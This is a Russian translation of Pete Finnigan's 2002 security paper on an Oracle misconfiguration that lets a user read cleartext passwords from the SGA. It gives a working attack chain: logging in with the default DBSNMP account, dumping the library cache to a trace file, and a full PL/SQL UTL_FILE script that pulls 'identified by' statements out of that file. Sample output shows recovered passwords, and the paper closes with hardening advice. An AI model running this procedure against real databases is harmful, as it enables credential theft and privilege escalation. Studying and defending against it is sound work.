
Февраль 2002
Профессионалу администратору
Пит Финиган
mailto:Pete Finnigan
Извлечение из Oracle SGA паролей в открытом тексте
(Paper To Explore Revealing Clear Text Passwords from the Oracle SGA,
by Pete Finnigan, PenTest Limited)
Источник: http://www.pentest-limited.com/utl_file.htm
Обзор
Данная статья предварительно была направлена в www.securityfocus.com (29.08.01. – Прим. пер.). В ней показано, как пользователь, имеющий большие привилегии, может читать из Oracle SGA пароли в открытом тексте.
Статья
Выполняя у заказчика аудит базы данных Oracle, я столкнулся ситуацией, когда стало возможным извлечение паролей Oracle в текстовом виде из SGA (System Global Area).
Если с этим сталкивался кто-то еще, то это общая ошибка при установке баз данных Oracle. Я наблюдал это также и на предыдущей установке.
Требуются следующие условия:
- Oracle-пользователю выдана роль CONNECT. Эта роль имеет системную привилегию "ALTER SESSION". (Или же пользователю непосредственно выдается привилегия "ALTER SESSION".);
- Oracle-пользователю разрешено читать из представления V$PARAMETER схемы SYS (фактически объектная привилегия "SELECT" выдана для исходного представления V_$PARAMETER, так как V$PARAMETER на самом деле является синонимом). Эту привилегию имеет роль SNMPAGENT;
- имеется доступ к встроенному пакету UTL_FILE. Обычно к этому пакету по умолчанию разрешен публичный (PUBLIC) доступ, если только DBA явно его не отменит;
- в файле инициализации в параметре "utl_file_dir" нужно установить ту же самую директорию, в которой размещаются файлы трассировки – "user_dump_dest";
- кому-то потребуется создавать новых пользователей, используя "CREATE USER...", или выдавать "GRANT CONNECT...", или изменять пароли пользователей, используя "ALTER USER...".
Кажется, что это слишком большим набором необходимых условий, НО получить их не слишком сложно. А затем уже можно следить за паролями в открытом тексте.
Я не могу показать реальные результаты с установки заказчика, поэтому привожу здесь равноценный пример. У заказчика были базы данных Oracle 8.1.6 и 8.0.5, в примере – Oracle 8.1.5 под Windows.
Пользователь DBSNMP, создаваемый по умолчанию, во время инсталляции имеет пароль DBSNMP. Это как раз то, что нам нужно. Данный пользователь создается по умолчанию, и по опыту мы знаем, что его пароль, установленный по умолчанию, обычно не изменяется. Этот пользователь имеет роли CONNECT и SNMPAGENT. Так что мы можем выполнять "alter session" и выбирать данные из v$parameter. Остается только позаботиться о "utl_file_dir". Для этого требуется:
- Запустить sqlplus как dbnsmp:
pxf:sputnik>sqlplus dbsnmp/dbsnmp
- Затем нужно выяснить, установлена ли в utl_file_dir директория, в которую записываются файлы трассировки ("user_dump_dest"):
SQL> select name,value
2 from v$parameter
3 where name in ('user_dump_dest','utl_file_dir');
NAME VALUE
-------------- ------------------
utl_file_dir C:\Oracle\admin\PENT\udump
user_dump_dest C:\Oracle\admin\PENT\udump
SQL>
Это только пример, но в двух промышленных базах данных я видел, что в utl_file_dir в первой базе установлена именно директория для файлов трассировки, а во второй – "*". Последняя установка означает, что встроенный пакет UTL_FILE может читать и писать в файлы любой директории ОС, к которой разрешен доступ владельца программного обеспечения Oracle, включая директорию для файлов трассировки.
Затем нам нужно сделать дамп библиотечного кеша (library cache) в трассировочный файл. В него войдут все операторы SQL, которые в данное время находятся в SGA, включая пароли в открытом тексте. Нам также нужно знать идентификатор (PID) нашего процесса, чтобы мы могли вывести имя трассировочного файла.
Для извлечения PID из базы данных нужно иметь привилегии SELECT для выборки из V_$PROCESS (исходное представление для V$PROCESS) и V_$SESSION (исходное представление для V$SESSION). И вновь эти привилегии имеет роль SNMPAGENT, которая назначена пользователю DBSNMP. Другие пользователи могут для определения идентификатора теневого (shadow) процесса ОС использовать команду "ps".
Определим PID следующим образом:
SQL> select p.spid,s.username usrname
2 from v$process p, v$session s
3 where p.addr=s.paddr
4 and s.username=user;
SPID USRNAME
--------- ------------------------------
324 DBSNMP
SQL>
PID равен 324. Теперь сделаем дамп библиотечного кеша в трассировочный файл в директории "user_dump_dest":
SQL> alter session set events
'immediate trace name library_cache level 10';
Session altered.
SQL>
Эта команда создает трассировочный файл в директории, указанной в параметре "user_dump_dest". Эта директория невидима пользователям, которые не являются владельцами программного обеспечения Oracle или не входят в группу OSDBA (в UNIX обычно это группа "dba"). Так что DBSNMP не сможет даже увидеть содержимого этой директории, чтобы узнать имя файла, и, тем более, прочитать только что созданный файл. Но мы знаем формат имени этого файла. В WINDOWS это – ORA[XXXXX].trc, где XXXXX – PID, найденный раньше, то есть нам нужен файл ORA00324.trc в c:\Oracle\Admin\PENT\udump\.
В UNIX имя файла – ora_[pid].trc или, если используется несколько экземпляров, ora_[SID]_[PID].trc.
Затем нам нужно прочитать этот трассировочный файл. Это можно сделать общедоступной утилитой UTL_FILE. Данный пакет позволяет, согласно документации, читать и писать файлы, на которые указывает utl_file_dir.
Найти пароли можно следующим образом (сохраним приведенный ниже фрагмент в файле, скажем, read_trc.sql):
--
-- read_trc.sql
--
declare
fptr utl_file.file_type;
buff varchar2(2048);
line_no number(10):=0;
loc_no integer;
begin
fptr:=utl_file.fopen
('C:\Oracle\admin\PENT\udump','ORA00324.TRC','R');
loop
line_no:=line_no+1;
utl_file.get_line(fptr,buff);
loc_no:=instr(upper(buff),upper('identified by'));
if loc_no>0 then
dbms_output.put_line(line_no||' '||buff);
end if;
end loop;
exception
when no_data_found then
utl_file.fclose(fptr);
dbms_output.put_line
('Number of lines parsed ='||line_no);
when value_error then
dbms_output.put_line('value error');
raise_application_error(-20100,'file error');
when utl_file.invalid_path then
dbms_output.put_line('invalid path');
raise_application_error(-20100,'file error');
when utl_file.invalid_mode then
dbms_output.put_line('invalid_mode');
raise_application_error(-20100,'file error');
when utl_file.invalid_filehandle then
dbms_output.put_line('invalid_filehandle');
raise_application_error(-20100,'file error');
when utl_file.invalid_operation then
dbms_output.put_line('invalid_operation');
raise_application_error(-20100,'file error');
when utl_file.read_error then
dbms_output.put_line('read_error');
raise_application_error(-20100,'file error');
when utl_file.write_error then
dbms_output.put_line('write_error');
raise_application_error(-20100,'file error');
when utl_file.internal_error then
dbms_output.put_line('internal_error');
raise_application_error(-20100,'file error');
when others then
dbms_output.put_line('un-handled');
raise_application_error(-20100,'file error');
end;
/
Выполним этот командный файл:
SQL> set serveroutput on size 1000000
SQL> @read_trc
909 name=alter user system identified by manager
2677 name=grant connect, resource,dba to ddf identified by ddf
Number of lines parsed = 5992
PL/SQL procedure successfully completed.
SQL>
Здесь показано, что кто-то изменял пароль пользователя SYSTEM, и мы видим, что был установлен пароль MANAGER, а пользователь DDF был создан с паролем DDF и ему также была выдана роль DBA.
Этот пример, конечно, упрощенный, всю процедуру следует написать полностью на PL/SQL, чтобы запускать ее как просто тест.
Я напишу все это в виде единого кода, выполняющего полную проверку, и сделаю его доступным для всех заинтересованных. По моему мнению, это не является уязвимостью баз данных Oracle, поскольку в документации Oracle не рекомендуется для пакета UTL_FILE устанавливать в utl_file_dir директории, которые не должны быть доступными для обычных пользователей. Кроме того, пароли, устанавливаемые по умолчанию, следует изменять.
Заключение
- Изменяйте пароли, устанавливаемые по умолчанию. DBSNMP – это опасно.
- Не устанавливайте в utl_file_dir "user_dump_dest" или "*" или ".".
- Ограничивайте публичный доступ к пакету UTL_FILE, предоставляйте его только тем пользователям, которым это действительно необходимо.
|